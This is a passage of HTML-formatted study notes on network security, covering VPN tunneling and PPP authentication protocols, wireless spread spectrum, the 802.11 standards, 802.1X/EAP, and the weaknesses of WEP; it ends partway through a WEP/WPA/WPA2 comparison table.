&lt;li&gt;&lt;b&gt;IPSec&lt;/b&gt; can be configured to provide transport adjacency, which just means that more than one security protocol (ESP&amp;nbsp;and AH) is applied to a packet. IPSec can also be configured to provide iterated tunneling, in which an IPSec tunnel is&amp;nbsp;tunneled through another IPSec tunnel.&lt;/li&gt;
&lt;li&gt;Point-to-Point Protocol (&lt;b&gt;PPP&lt;/b&gt;) is not really a tunneling protocol, but an encapsulation protocol. It does not need to wrap&amp;nbsp;up current frames with special headers and trailers, which will be taken off at the destination. Instead, it allows TCP/IP&amp;nbsp;traffic to be transmitted over a medium developed for telephone voice data.&lt;/li&gt;
&lt;ul&gt;
&lt;li&gt;PPP encapsulates the data coming from our computer or network, which means it puts the data into the correct&amp;nbsp;format to travel over the &amp;nbsp;telecommunications link. PPP frames our data with start and stop bits so the other end knows how&amp;nbsp;to process the data. PPP allows us to set up and establish an Internet connection.&lt;/li&gt;
&lt;li&gt;PPP encapsulates data to travel over a private network (between you and&amp;nbsp;your ISP), and a tunneling protocol(IP) encapsulates the data to travel over a public network, such as the Internet.&lt;/li&gt;
&lt;li&gt;Authentication techniques like&amp;nbsp;PAP,CHAP,&amp;nbsp;EAP&amp;nbsp;are covered later.&lt;/li&gt;
&lt;li&gt;Three of the main tunneling protocols used today for setting up a VPN are IPSec, PPTP, and L2TP.&lt;/li&gt;
&lt;li&gt;PPP has, for the most part, replaced Serial Line Internet Protocol (SLIP), an older protocol that was used to encapsulate&amp;nbsp;data to be sent over serial connection links. PPP has several capabilities that SLIP does not have.&lt;/li&gt;
&lt;/ul&gt;
&lt;li&gt;&lt;b&gt;PPTP&lt;/b&gt;&lt;/li&gt;
&lt;ul&gt;
&lt;li&gt;A Microsoft protocol, allows remote users to set up a PPP connection to a local ISP and then create a secure VPN&amp;nbsp;to their destination. PPTP has been the de facto industry-standard tunneling protocol for years, but the new de facto&amp;nbsp;standard for VPNs is IPSec.&lt;/li&gt;
&lt;li&gt;PPP payload is encrypted with Microsoft Point-to-Point Encryption&amp;nbsp;(MPPE) using MS-CHAP or EAP-TLS.&lt;/li&gt;
&lt;li&gt;If the user&#39;s data are encapsulated within PPP, and then this frame is encapsulated by PPTP with a Generic Routing&amp;nbsp;Encapsulation (GRE) header and IP header. This encapsulation allows the resulting frame to be&amp;nbsp;routable over public networks, such as the Internet.&lt;/li&gt;
&lt;li&gt;PPTP can work only over IP networks(not over&amp;nbsp;relay, X.25, and ATM links)&lt;/li&gt;
&lt;/ul&gt;
&lt;li&gt;Layer 2 Tunneling Protocol (&lt;b&gt;L2TP&lt;/b&gt;)&lt;/li&gt;
&lt;ul&gt;
&lt;li&gt;Combines the best of PPTP and&amp;nbsp;L2F(ayer 2 Forwarding).&lt;/li&gt;
&lt;li&gt;it can work over networks other than just IP, and it provides a higher level of&amp;nbsp;security when combined with IPSec.&lt;/li&gt;
&lt;li&gt;PPTP is an encryption protocol and L2TP is not; therefore, L2TP lacks the security to be called a true VPN solution.&lt;/li&gt;
&lt;/ul&gt;
&lt;li&gt;IPSec:&lt;/li&gt;
&lt;ul&gt;
&lt;li&gt;Handles multiple connections at the same time&lt;/li&gt;
&lt;li&gt;Provides secure authentication and encryption&lt;/li&gt;
&lt;li&gt;Supports only IP networks&lt;/li&gt;
&lt;li&gt;Focuses on LAN-to-LAN communication rather than user-to-user&lt;/li&gt;
&lt;li&gt;Works at the network layer, and provides security on top of IP&lt;/li&gt;
&lt;li&gt;Can work in tunnel mode, meaning the payload and the header are protected, or transport mode, meaning only&amp;nbsp;the payload is protected&lt;/li&gt;
&lt;/ul&gt;
&lt;/ul&gt;
&lt;br /&gt;
&lt;b&gt;Authentication Protocols&lt;/b&gt;&lt;br /&gt;
&lt;ul style=&quot;text-align: left;&quot;&gt;
&lt;li&gt;Password Authentication Protocol (&lt;b&gt;PAP&lt;/b&gt;) is used by remote users to authenticate over PPP lines.&lt;/li&gt;
&lt;ul&gt;
&lt;li&gt;PAP is one of the least secure authentication methods, because the credentials are sent in cleartext, which renders them&amp;nbsp;easy to capture by network sniffers. Vulnerable to Man in the middle attacks.&lt;/li&gt;
&lt;li&gt;Some systems revert to PAP if they cannot agree on&amp;nbsp;any other authentication protocol&lt;/li&gt;
&lt;/ul&gt;
&lt;li&gt;Challenge Handshake Authentication Protocol (&lt;b&gt;CHAP&lt;/b&gt;) uses a&amp;nbsp;challenge/response mechanism to authenticate the user instead of sending a password.&lt;/li&gt;
&lt;ul&gt;
&lt;li&gt;The server sends the user a challenge, which is a random value. The user encrypts the&amp;nbsp;challenge with the use of a predefined password as an encryption key.&lt;/li&gt;
&lt;li&gt;CHAP is not vulnerable to man-in-the-middle attacks because it continues this challenge/response&amp;nbsp;activity throughout the connection to ensure the authentication server is still communicating with a user who holds the&amp;nbsp;necessary credentials.&lt;/li&gt;
&lt;/ul&gt;
&lt;li&gt;Extensible Authentication Protocol (&lt;b&gt;EAP&lt;/b&gt;) is also supported by PPP. Actually, EAP is not a specific authentication.&amp;nbsp;Instead, it provides a framework to enable many types of authentication techniques(
one-time passwords, token cards, biometrics, Kerberos, etc) to&amp;nbsp;be used during PPP connections.&amp;nbsp;&lt;/li&gt;
&lt;/ul&gt;
&lt;h3 style=&quot;text-align: left;&quot;&gt;


Wireless Technologies&lt;/h3&gt;
&lt;div&gt;
&lt;div&gt;
Wireless technology is actually very similar to Ethernet, but&amp;nbsp;it uses CSMA/CA (collision avoidance). The wireless device sends out a broadcast indicating it is going to transmit data.&amp;nbsp;This is received by other devices on the shared medium, which causes them to hold off on transmitting information&lt;/div&gt;
&lt;/div&gt;
&lt;div&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div&gt;
&lt;b&gt;Spread Spectrum&lt;/b&gt;&lt;/div&gt;
&lt;div&gt;
&lt;div&gt;
the sender spreads its data across the frequencies and this allows for more effective use of the available bandwidth.&lt;/div&gt;
&lt;/div&gt;
&lt;div style=&quot;text-align: left;&quot;&gt;
&lt;ul style=&quot;text-align: left;&quot;&gt;
&lt;li&gt;Frequency hopping spread spectrum (FHSS) takes the total amount of bandwidth (spectrum) and splits it into smaller subchannels.&lt;/li&gt;
&lt;li&gt;FHSS hops between different frequencies so if another device is operating at&amp;nbsp;the same frequency, it will not be drastically affected.&lt;/li&gt;
&lt;ul&gt;
&lt;li&gt;This also makes it much more difficult for eavesdroppers to listen in on and reconstruct the data being&amp;nbsp;transmitted when used in technologies other than WLAN.&amp;nbsp;But in today&#39;s WLAN devices, the hopping sequence is known and does not provide any security.&lt;/li&gt;
&lt;/ul&gt;
&lt;li&gt;Direct sequence spread spectrum (DSSS) takes a different approach by applying sub-bits to a message. The sub-bits are&amp;nbsp;used by the sending system to generate a different format of the data before the data are transmitted. The receiving end&amp;nbsp;uses these sub-bits to reassemble the signal into the original data format. The sub-bits are called chips and the sequence&amp;nbsp;of how the sub-bits are applied is referred to as the chipping code.&lt;/li&gt;
&lt;ul&gt;
&lt;li&gt;When using wireless&amp;nbsp;transmissions, the data are actually moving over radio signals that work in specific frequencies. Any data to be moved in&amp;nbsp;this fashion must have a carrier signal, and this carrier signal works in its own specific range, which is a frequency.&lt;/li&gt;
&lt;/ul&gt;
&lt;li&gt;FHSS uses only a portion of the total bandwidth available at any one time, while the DSSS technology uses all it.&lt;/li&gt;
&lt;li&gt;DSSS spreads the signals over a wider frequency band, whereas FHSS uses a narrow&amp;nbsp;band carrier.&lt;/li&gt;
&lt;li&gt;Since DSSS sends data across all frequencies at once, it has a higher data throughput than FHSS.&amp;nbsp;&lt;/li&gt;
&lt;ul&gt;
&lt;li&gt;The first WAN&amp;nbsp;standard, 802.11, used FHSS, and it&amp;nbsp;can provide a data throughput of only 1 to 2 Mbps.&amp;nbsp;&lt;/li&gt;
&lt;li&gt;By using DSSS instead, 802.11b provides a data&amp;nbsp;throughput of up to 11 Mbps.&lt;/li&gt;
&lt;/ul&gt;
&lt;li&gt;Orthogonal frequency-division multiplexing (OFDM) is a digital multicarrier modulation scheme that compacts&amp;nbsp;multiple modulated carriers tightly together, reducing the required bandwidth. The modulated signals are orthogonal&amp;nbsp;(perpendicular) and do not interfere with each other. OFDM uses a composite of narrow channel bands to enhance&amp;nbsp;its performance in high frequency bands.&lt;/li&gt;
&lt;/ul&gt;
&lt;div&gt;
&lt;h3 style=&quot;text-align: left;&quot;&gt;

&lt;b&gt;Wireless LAN (WLAN)&amp;nbsp;&lt;/b&gt;&lt;/h3&gt;
&lt;/div&gt;
&lt;div&gt;
uses a transceiver, called an access point (AP), which connects to an Ethernet cable that is the&amp;nbsp;link wireless devices use to access resources on the wired network.&lt;/div&gt;
&lt;div&gt;
&lt;div&gt;
Any hosts that wish to participate within a particular WLAN must be configured with the proper Service Set ID (SSID).&amp;nbsp;Various hosts can be segmented into different WLANs by using different SSIDs.&lt;/div&gt;
&lt;/div&gt;
&lt;div&gt;
&lt;div&gt;
An ad hoc WLAN has no APs; the wireless devices communicate with each other through their wireless NICs instead of&amp;nbsp;going through a centralized device.&lt;/div&gt;
&lt;/div&gt;
&lt;div style=&quot;text-align: left;&quot;&gt;
&lt;ul style=&quot;text-align: left;&quot;&gt;
&lt;li&gt;When wireless devices work in infrastructure mode, the AP and wireless clients form a group referred to as a&amp;nbsp;Basic Service Set (BSS). This group is assigned a name, which is the SSID value.&lt;/li&gt;
&lt;/ul&gt;
&lt;b&gt;Authentication&lt;/b&gt;&lt;/div&gt;
&lt;div style=&quot;text-align: left;&quot;&gt;
&lt;ul style=&quot;text-align: left;&quot;&gt;
&lt;li&gt;Supplying SSID by devices is not a reliable security mechanism because many APs broadcast their SSIDs, which can be easily sniffed and used by attackers.&lt;/li&gt;
&lt;li&gt;The wireless device can authenticate to the AP in two main ways: open system authentication (OSA) and shared key&amp;nbsp;authentication (SKA).&lt;/li&gt;
&lt;li&gt;For OSA in many cases, the wireless device needs to provide only the correct SSID value.&amp;nbsp;no encryption is involved.&lt;/li&gt;
&lt;li&gt;For SKA, the AP sends a random value to the wireless device. The device encrypts this value&amp;nbsp;with its cryptographic key and returns it.&amp;nbsp;&lt;/li&gt;
&lt;ul&gt;
&lt;li&gt;This method is based on the Wired Equivalent Privacy (WEP) protocol, which also&amp;nbsp;enables data transfers to be encrypted.&lt;/li&gt;
&lt;li&gt;With WEP disabled(usually by default), there is no privacy, and the AP is broadcasting its location and identity.&lt;/li&gt;
&lt;/ul&gt;
&lt;/ul&gt;
&lt;h3 style=&quot;text-align: left;&quot;&gt;


Wireless Standards&lt;/h3&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;div style=&quot;text-align: left;&quot;&gt;
&lt;ul style=&quot;text-align: left;&quot;&gt;
&lt;li&gt;802.11b&lt;/li&gt;
&lt;ul&gt;
&lt;li&gt;This standard was the first extension to the 802.11 WLAN standard and is the most common standard used today.&lt;/li&gt;
&lt;li&gt;Transfer rate of up to 11 Mbps and works in the 2.4GHz frequency range. It uses&amp;nbsp;DSSS and is backward-compatible with 802.11 implementations.&lt;/li&gt;
&lt;/ul&gt;
&lt;li&gt;802.11a(was conceived first but not&amp;nbsp;released&amp;nbsp;due to complexity)&lt;/li&gt;
&lt;ul&gt;
&lt;li&gt;This standard uses a different method of modulating data onto the necessary radio carrier signals. Whereas 802.11b uses&amp;nbsp;DSSS, 802.11a uses OFDM and works in the 5GHz frequency band.&amp;nbsp;Up to 54 Mbps.&lt;/li&gt;
&lt;li&gt;Because of these differences, 802.11a is not&amp;nbsp;backward-compatible with 802.11b or 802.11&lt;/li&gt;
&lt;/ul&gt;
&lt;li&gt;802.11e&lt;/li&gt;
&lt;ul&gt;
&lt;li&gt;This working group has provided QoS and proper support of multimedia traffic.&lt;/li&gt;
&lt;/ul&gt;
&lt;li&gt;802.11f&lt;/li&gt;
&lt;ul&gt;
&lt;li&gt;&lt;/li&gt;
&lt;li&gt;The conveying of&amp;nbsp;this information between the different APs during roaming is what 802.11f deals with.&lt;/li&gt;
&lt;/ul&gt;
&lt;li&gt;The 802.11g&lt;/li&gt;
&lt;ul&gt;
&lt;li&gt;&amp;nbsp;Provides for higher data transfer rates—up to 54 Mbps.&lt;/li&gt;
&lt;li&gt;Extends &quot;b&quot;s capability and backwards compatible with it. higher distance compared to &quot;a&quot; but still based on 2.4ghz.&lt;/li&gt;
&lt;/ul&gt;
&lt;li&gt;The 802.11h&amp;nbsp;&lt;/li&gt;
&lt;ul&gt;
&lt;li&gt;Works in the 5ghz and builds upon the 802.11a specification to meet the&amp;nbsp;requirements of European wireless rules ( &quot;a&quot; does not).&lt;/li&gt;
&lt;/ul&gt;
&lt;li&gt;802.11i.&lt;/li&gt;
&lt;ul&gt;
&lt;li&gt;802.11, has a tremendous number of security flaws&lt;/li&gt;
&lt;li&gt;integrated the use of Extensible Authentication Protocol (EAP) and 802.1X (introduced later in this section) to enforce user&amp;nbsp;authentication and mutual authentication.&lt;/li&gt;
&lt;li&gt;To detect&amp;nbsp;modifications of bits during transmission, Message Integrity Code (MIC) was also integrated.&amp;nbsp;&lt;/li&gt;
&lt;li&gt;And the Temporal Key&amp;nbsp;Integrity Protocol (TKIP) generates random values used in the encryption process, which makes it much harder for an&amp;nbsp;attacker to break.&amp;nbsp;&lt;/li&gt;
&lt;ul&gt;
&lt;li&gt;TKIP actually works with WEP by feeding it keying&amp;nbsp;material, which is data to be used for generating new dynamic keys. WEP uses the RC4 encryption algorithm(very weak).&amp;nbsp;More complexity is added to the key generation&amp;nbsp;process with the use of TKIP, which makes it much more difficult for attackers to uncover the encryption keys. This is just a&amp;nbsp;firmware or software updates.&lt;/li&gt;
&lt;/ul&gt;
&lt;li&gt;To allow for an even higher level of encryption protection, the standard also includes the new Advanced&amp;nbsp;Encryption Standard (AES) algorithm to be used in new WLAN implementations.&lt;/li&gt;
&lt;ul&gt;
&lt;li&gt;use of the AES algorithm in counter mode with&amp;nbsp;CBC-MAC (CCM), which is referred to as the CCM Protocol (CCMP).&amp;nbsp;&lt;/li&gt;
&lt;li&gt;AES is a more appropriate algorithm for wireless&amp;nbsp;than RC4 but requires more processing power.&amp;nbsp;&lt;/li&gt;
&lt;li&gt;AES is not backward-compatible so only good for new WLANs.&lt;/li&gt;
&lt;/ul&gt;
&lt;/ul&gt;
&lt;li&gt;802.1X&amp;nbsp;&lt;/li&gt;
&lt;ul&gt;
&lt;li&gt;Port-based network access control that ensures a user cannot make&amp;nbsp;a full network connection until he is properly authenticated.&lt;/li&gt;
&lt;ul&gt;
&lt;li&gt;WEP does not provide this&amp;nbsp;type of strict access control&lt;/li&gt;
&lt;/ul&gt;
&lt;li&gt;provides an authentication framework and a method of dynamically distributing encryption&amp;nbsp;keys. The three main entities in this framework are the supplicant (wireless device), the authenticator (AP), and the&amp;nbsp;authentication server (usually a RADIUS server).&amp;nbsp;&lt;/li&gt;
&lt;ul&gt;
&lt;li&gt;If the environment does not have an authentication server, the AP can&amp;nbsp;fulfill the roles of authenticator and authentication server.&lt;/li&gt;
&lt;/ul&gt;
&lt;li&gt;It has EAP which allows for mutual authentication to take place between the&amp;nbsp;authentication server and wireless device, and provides flexibility in that users can be authenticated by using passwords,&amp;nbsp;tokens, one-time passwords, certificates, smart cards, or Kerberos.&lt;/li&gt;
&lt;ul&gt;
&lt;li&gt;When using WEP alone,&amp;nbsp;a rogue AP can be set up to capture users&#39; credentials and traffic without the users being aware.&lt;/li&gt;
&lt;/ul&gt;
&lt;li&gt;The use of EAP, however, allows different protocols to be used by different vendors:&lt;/li&gt;
&lt;li&gt;Cisco uses a purely password-based authentication framework called Lightweight Extensible Authentication&amp;nbsp;Protocol (LEAP).&lt;/li&gt;
&lt;li&gt;Microsoft, uses EAP and Transport Layer Security (EAP-TLS), which carries out&amp;nbsp;authentication through digital certificates.&amp;nbsp;&lt;/li&gt;
&lt;ul&gt;
&lt;li&gt;If EAP-TLS is being used, the authentication server and wireless device exchange digital certificates for authentication&amp;nbsp;purposes.&amp;nbsp;
&lt;/li&gt;
&lt;/ul&gt;
&lt;li&gt;And yet another choice is Protective EAP (PEAP), where only the server uses a&amp;nbsp;digital certificate.&lt;/li&gt;
&lt;ul&gt;
&lt;li&gt;If PEAP is being used instead, the user of the wireless device sends the server a password and the server&amp;nbsp;authenticates to the wireless device with its digital certificate.&amp;nbsp;&lt;/li&gt;
&lt;li&gt;Companies may choose to use PEAP instead of EAP-TLS because they don&#39;t want the hassle of installing and maintaining&amp;nbsp;digital certificates on every wireless device.&lt;/li&gt;
&lt;/ul&gt;
&lt;li&gt;In both cases, some type of public key infrastructure (PKI)&amp;nbsp;needs to be in place. If a company does not have a PKI currently implemented, it can be an overwhelming and costly task&amp;nbsp;to deploy a PKI just to secure wireless transmissions.&lt;/li&gt;
&lt;/ul&gt;
&lt;li&gt;A large concern with current WLANs using just WEP is that if individual wireless devices are stolen, they can easily be&amp;nbsp;authenticated to the wired network(
&amp;nbsp;symmetric key that was&amp;nbsp;manually programmed into it).&amp;nbsp;&lt;/li&gt;
&lt;ul&gt;
&lt;li&gt;802.11i has added steps to require the user to authenticate to the network instead of&amp;nbsp;just requiring the wireless device to authenticate.&amp;nbsp;&lt;/li&gt;
&lt;li&gt;By using EAP, the user must send some type of credential set that is tied&amp;nbsp;to his identity.&amp;nbsp;&lt;/li&gt;
&lt;/ul&gt;
&lt;/ul&gt;
&lt;b&gt;Dynamic Keys and the Use of Initialization Vectors&lt;/b&gt;&lt;/div&gt;
&lt;div style=&quot;text-align: left;&quot;&gt;
&lt;div&gt;
The three core deficiencies with WEP are the use of static encryption keys, the ineffective use of initialization vectors, and&amp;nbsp;the lack of packet integrity assurance.&lt;/div&gt;
&lt;div&gt;
&lt;ul style=&quot;text-align: left;&quot;&gt;
&lt;li&gt;RC4 uses exact same key for encryption and decryption.&lt;/li&gt;
&lt;li&gt;An IV is a numeric seeding value that is used with the symmetric&amp;nbsp;key and RC4 algorithm to provide more randomness to the encryption process.&lt;/li&gt;
&lt;ul&gt;
&lt;li&gt;In most WEP implementations, the same IV values are used over and over again in this process&lt;/li&gt;
&lt;/ul&gt;
&lt;li&gt;An attacker can actually change data&amp;nbsp;within the wireless packets by flipping specific bits and altering the Integrity Check Value (ICV) so the receiving end is&amp;nbsp;oblivious to these changes.&amp;nbsp;&lt;/li&gt;
&lt;ul&gt;
&lt;li&gt;The ICV works like a CRC function(for integrity check)&lt;/li&gt;
&lt;li&gt;In WEP, there are certain circumstances in&amp;nbsp;which the receiver cannot detect whether an alteration to the frame has taken place; thus, there is no true integrity&amp;nbsp;assurance.&lt;/li&gt;
&lt;/ul&gt;
&lt;li&gt;The use of the 802.1X technology in the new 802.11i standard provides access control by restricting network&amp;nbsp;access until full authentication and authorization have been completed, and provides a robust authentication framework&amp;nbsp;that allows for different EAP modules to be plugged in. These two technologies (802.1X and EAP) work together to enforce&amp;nbsp;mutual authentication between the wireless device and authentication server.&lt;/li&gt;
&lt;li&gt;Powerful programs, AirSnort and WEP-Crack, can be used to easily crack WEP&#39;s encryption.&lt;/li&gt;
&lt;ul&gt;
&lt;li&gt;The use of TKIP provides the ability to rotate encryption keys to help fight against these types of attacks.&lt;/li&gt;
&lt;li&gt;The protocol&amp;nbsp;increases the length of the IV value and ensures each and every frame has a different IV value.&lt;/li&gt;
&lt;li&gt;WEP key + IV value + MAC address = new encryption key&lt;/li&gt;
&lt;li&gt;TKIP also deals with the integrity issues by using a MIC instead of an ICV function. Similar to&amp;nbsp;message&amp;nbsp;authentication code (MAC) function.&lt;/li&gt;
&lt;/ul&gt;
&lt;/ul&gt;
&lt;/div&gt;
&lt;div&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;div class=&quot;MsoNormal&quot; style=&quot;margin-bottom: 0.0001pt;&quot;&gt;
&lt;b&gt;&lt;span style=&quot;color: #810000; font-family: Arial, sans-serif; font-size: 10pt;&quot;&gt;Characteristics
of Wireless Security Structures Currently in Use&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/b&gt;&lt;/div&gt;
&lt;table border=&quot;1&quot; cellpadding=&quot;0&quot; cellspacing=&quot;0&quot; class=&quot;MsoTableGrid&quot; style=&quot;border-collapse: collapse; border: none; mso-border-alt: solid windowtext .5pt; mso-padding-alt: 0in 5.4pt 0in 5.4pt; mso-yfti-tbllook: 1184;&quot;&gt;
 &lt;tbody&gt;
&lt;tr&gt;
  &lt;td style=&quot;border: solid windowtext 1.0pt; mso-border-alt: solid windowtext .5pt; padding: 0in 5.4pt 0in 5.4pt; width: 119.7pt;&quot; valign=&quot;top&quot; width=&quot;200&quot;&gt;&lt;div class=&quot;MsoNormal&quot; style=&quot;margin-bottom: 0.0001pt;&quot;&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;/td&gt;
  &lt;td style=&quot;border-left: none; border: solid windowtext 1.0pt; mso-border-alt: solid windowtext .5pt; mso-border-left-alt: solid windowtext .5pt; padding: 0in 5.4pt 0in 5.4pt; width: 119.7pt;&quot; valign=&quot;top&quot; width=&quot;200&quot;&gt;&lt;div class=&quot;MsoNormal&quot; style=&quot;margin-bottom: 0.0001pt;&quot;&gt;
&lt;b&gt;&lt;span style=&quot;color: #810000; font-family: Arial, sans-serif; font-size: 9pt;&quot;&gt;802.1x
  Dynamic WEP&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/b&gt;&lt;/div&gt;
&lt;/td&gt;
  &lt;td style=&quot;border-left: none; border: solid windowtext 1.0pt; mso-border-alt: solid windowtext .5pt; mso-border-left-alt: solid windowtext .5pt; padding: 0in 5.4pt 0in 5.4pt; width: 119.7pt;&quot; valign=&quot;top&quot; width=&quot;200&quot;&gt;&lt;div class=&quot;MsoNormal&quot; style=&quot;margin-bottom: 0.0001pt;&quot;&gt;
&lt;b&gt;&lt;span style=&quot;color: #810000; font-family: Arial, sans-serif; font-size: 9pt;&quot;&gt;Wi-Fi
  Protected Access (WPA)&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/b&gt;&lt;/div&gt;
&lt;/td&gt;
  &lt;td style=&quot;border-left: none; border: solid windowtext 1.0pt; mso-border-alt: solid windowtext .5pt; mso-border-left-alt: solid windowtext .5pt; padding: 0in 5.4pt 0in 5.4pt; width: 119.7pt;&quot; valign=&quot;top&quot; width=&quot;200&quot;&gt;&lt;div class=&quot;MsoNormal&quot; style=&quot;margin-bottom: 0.0001pt;&quot;&gt;
&lt;b&gt;&lt;span style=&quot;color: #810000; font-family: Arial, sans-serif; font-size: 9pt;&quot;&gt;Wi-Fi
  Protected Access 2 (WPA2)&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/b&gt;&lt;/div&gt;
&lt;/td&gt;
 &lt;/tr&gt;
&lt;tr&gt;
  &lt;td style=&quot;border-top: none; border: solid windowtext 1.0pt; mso-border-alt: solid windowtext .5pt; mso-border-top-alt: solid windowtext .5pt; padding: 0in 5.4pt 0in 5.4pt; width: 119.7pt;&quot; valign=&quot;top&quot; width=&quot;200&quot;&gt;&lt;div class=&quot;MsoNormal&quot; style=&quot;margin-bottom: 0.0001pt;&quot;&gt;
&lt;b&gt;&lt;span style=&quot;font-family: Arial, sans-serif; font-size: 9pt;&quot;&gt;Access
  Control&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/b&gt;&lt;/div&gt;
&lt;/td&gt;
  &lt;td style=&quot;border-bottom: solid windowtext 1.0pt; border-left: none; border-right: solid windowtext 1.0pt; border-top: none; mso-border-alt: solid windowtext .5pt; mso-border-left-alt: solid windowtext .5pt; mso-border-top-alt: solid windowtext .5pt; padding: 0in 5.4pt 0in 5.4pt; width: 119.7pt;&quot; valign=&quot;top&quot; width=&quot;200&quot;&gt;&lt;div class=&quot;MsoNormal&quot; style=&quot;margin-bottom: 0.0001pt;&quot;&gt;
&lt;span style=&quot;font-family: Arial, sans-serif; font-size: 9pt;&quot;&gt;802.1x&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/div&gt;
&lt;/td&gt;
  &lt;td style=&quot;border-bottom: solid windowtext 1.0pt; border-left: none; border-right: solid windowtext 1.0pt; border-top: none; mso-border-alt: solid windowtext .5pt; mso-border-left-alt: solid windowtext .5pt; mso-border-top-alt: solid windowtext .5pt; padding: 0in 5.4pt 0in 5.4pt; width: 119.7pt;&quot; valign=&quot;top&quot; width=&quot;200&quot;&gt;&lt;div class=&quot;MsoNormal&quot; style=&quot;margin-bottom: 0.0001pt;&quot;&gt;
&lt;span style=&quot;font-family: Arial, sans-serif; font-size: 9pt;&quot;&gt;802.1x
  or pre-shared key&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/div&gt;
&lt;/td&gt;
  &lt;td style=&quot;border-bottom: solid windowtext 1.0pt; border-left: none; border-right: solid windowtext 1.0pt; border-top: none; mso-border-alt: solid windowtext .5pt; mso-border-left-alt: solid windowtext .5pt; mso-border-top-alt: solid windowtext .5pt; padding: 0in 5.4pt 0in 5.4pt; width: 119.7pt;&quot; valign=&quot;top&quot; width=&quot;200&quot;&gt;&lt;div class=&quot;MsoNormal&quot; style=&quot;margin-bottom: 0.0001pt;&quot;&gt;
&lt;span style=&quot;font-family: Arial, sans-serif; font-size: 9pt;&quot;&gt;802.1x
  or pre-shared key&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/div&gt;
&lt;/td&gt;
 &lt;/tr&gt;
&lt;tr&gt;
  &lt;td style=&quot;border-top: none; border: solid windowtext 1.0pt; mso-border-alt: solid windowtext .5pt; mso-border-top-alt: solid windowtext .5pt; padding: 0in 5.4pt 0in 5.4pt; width: 119.7pt;&quot; valign=&quot;top&quot; width=&quot;200&quot;&gt;&lt;div class=&quot;MsoNormal&quot; style=&quot;margin-bottom: 0.0001pt;&quot;&gt;
&lt;b&gt;&lt;span style=&quot;font-family: Arial, sans-serif; font-size: 9pt;&quot;&gt;Authentication&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/b&gt;&lt;/div&gt;
&lt;/td&gt;
  &lt;td style=&quot;border-bottom: solid windowtext 1.0pt; border-left: none; border-right: solid windowtext 1.0pt; border-top: none; mso-border-alt: solid windowtext .5pt; mso-border-left-alt: solid windowtext .5pt; mso-border-top-alt: solid windowtext .5pt; padding: 0in 5.4pt 0in 5.4pt; width: 119.7pt;&quot; valign=&quot;top&quot; width=&quot;200&quot;&gt;&lt;div class=&quot;MsoNormal&quot; style=&quot;margin-bottom: 0.0001pt;&quot;&gt;
&lt;span style=&quot;font-family: Arial, sans-serif; font-size: 9pt;&quot;&gt;EAP methods&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/div&gt;
&lt;/td&gt;
  &lt;td style=&quot;border-bottom: solid windowtext 1.0pt; border-left: none; border-right: solid windowtext 1.0pt; border-top: none; mso-border-alt: solid windowtext .5pt; mso-border-left-alt: solid windowtext .5pt; mso-border-top-alt: solid windowtext .5pt; padding: 0in 5.4pt 0in 5.4pt; width: 119.7pt;&quot; valign=&quot;top&quot; width=&quot;200&quot;&gt;&lt;div class=&quot;MsoNormal&quot; style=&quot;margin-bottom: 0.0001pt;&quot;&gt;
&lt;span style=&quot;font-family: Arial, sans-serif; font-size: 9pt;&quot;&gt;EAP
  methods or pre-shared key&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/div&gt;
&lt;/td&gt;
  &lt;td style=&quot;border-bottom: solid windowtext 1.0pt; border-left: none; border-right: solid windowtext 1.0pt; border-top: none; mso-border-alt: solid windowtext .5pt; mso-border-left-alt: solid windowtext .5pt; mso-border-top-alt: solid windowtext .5pt; padding: 0in 5.4pt 0in 5.4pt; width: 119.7pt;&quot; valign=&quot;top&quot; width=&quot;200&quot;&gt;&lt;div class=&quot;MsoNormal&quot; style=&quot;margin-bottom: 0.0001pt;&quot;&gt;
&lt;span style=&quot;font-family: Arial, sans-serif; font-size: 9pt;&quot;&gt;EAP
  methods or pre-shared key&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/div&gt;
&lt;/td&gt;
 &lt;/tr&gt;
&lt;tr&gt;
  &lt;td style=&quot;border-top: none; border: solid windowtext 1.0pt; mso-border-alt: solid windowtext .5pt; mso-border-top-alt: solid windowtext .5pt; padding: 0in 5.4pt 0in 5.4pt; width: 119.7pt;&quot; valign=&quot;top&quot; width=&quot;200&quot;&gt;&lt;div class=&quot;MsoNormal&quot; style=&quot;margin-bottom: 0.0001pt;&quot;&gt;
&lt;b&gt;&lt;span style=&quot;font-family: Arial, sans-serif; font-size: 9pt;&quot;&gt;Encryption&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/b&gt;&lt;/div&gt;
&lt;/td&gt;
  &lt;td style=&quot;border-bottom: solid windowtext 1.0pt; border-left: none; border-right: solid windowtext 1.0pt; border-top: none; mso-border-alt: solid windowtext .5pt; mso-border-left-alt: solid windowtext .5pt; mso-border-top-alt: solid windowtext .5pt; padding: 0in 5.4pt 0in 5.4pt; width: 119.7pt;&quot; valign=&quot;top&quot; width=&quot;200&quot;&gt;&lt;div class=&quot;MsoNormal&quot; style=&quot;margin-bottom: 0.0001pt;&quot;&gt;
&lt;span style=&quot;font-family: Arial, sans-serif; font-size: 9pt;&quot;&gt;WEP &lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/div&gt;
&lt;/td&gt;
